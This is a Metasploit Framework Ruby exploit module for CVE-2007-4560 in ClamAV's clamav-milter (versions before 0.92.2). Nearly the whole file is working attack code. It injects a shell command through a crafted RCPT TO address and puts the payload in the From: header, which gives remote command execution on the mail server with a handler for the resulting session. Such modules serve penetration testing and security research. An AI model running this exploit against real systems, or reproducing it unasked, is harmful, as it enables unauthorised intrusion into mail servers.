### $Id: clamav_milter_blackhole.rb 10617 2010-10-09 06:55:52Z jduck $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Smtp
def initialize(info ={})
super(update_info(info,
'Name'=>'ClamAV Milter Blackhole-Mode Remote Code Execution',
'Description'=> %q{
This module exploits a flaw in the Clam AntiVirus suite 'clamav-milter'(Sendmail mail filter). Versions prior to v0.92.2 are vulnerable.
When implemented with black hole mode enabled, it is possible to execute
commands remotely due to an insecure popen call.
},
'Author'=>['patrick'],
'License'=> MSF_LICENSE,
'Version'=>'$Revision: 10617 $',
'References'=>[['CVE', '2007-4560'],
['OSVDB', '36909'],
['BID', '25439'],
['URL', 'http://www.milw0rm.com/exploits/4761'],
],
'Privileged'=> true,
'Payload'=>{'DisableNops'=> true,
'Space'=>1024,
'Compat'=>{'PayloadType'=>'cmd',
'RequiredCmd'=>'generic perl ruby bash telnet',
}},
'Platform'=>'unix',
'Arch'=> ARCH_CMD,
'Targets'=>[['Automatic', {}],
],
'DisclosureDate'=>'Aug 24 2007',
'DefaultTarget'=>0))
register_options([
OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'nobody@localhost']),
], self.class)
end
def exploit
# ClamAV writes randomized msg.###### temporary files in a randomized# /tmp/clamav-#######################/ directory. This directory is# the clamav-milter process working directory.## We *can* execute arbitrary code directly from 'sploit', however the# SMTP RFC rejects all payloads with the exception of generic CMD# payloads due to the IO redirects. I discovered that the 'From:'# header is written to this temporary file prior to the vulnerable# call, so we call the file itself and payload.encoded is executed.
sploit ="sh msg*"# Execute the clamav-milter temporary file.# Create the malicious RCPT TO before connecting,# to make good use of the Msf::Exploit::Smtp support.
oldaddr = datastore['MAILTO']
newaddr = oldaddr.split('@')
datastore['MAILTO']="<#{newaddr[0]}+\"|#{sploit}\"@#{newaddr[1]}>"
connect_login
sock.put("From: ;#{payload.encoded}\r\n")# We are able to stick our payload in this header
sock.put(".\r\n")# Clean up RCPT TO afterwards
datastore['MAILTO']= oldaddr
handler
disconnect
end
end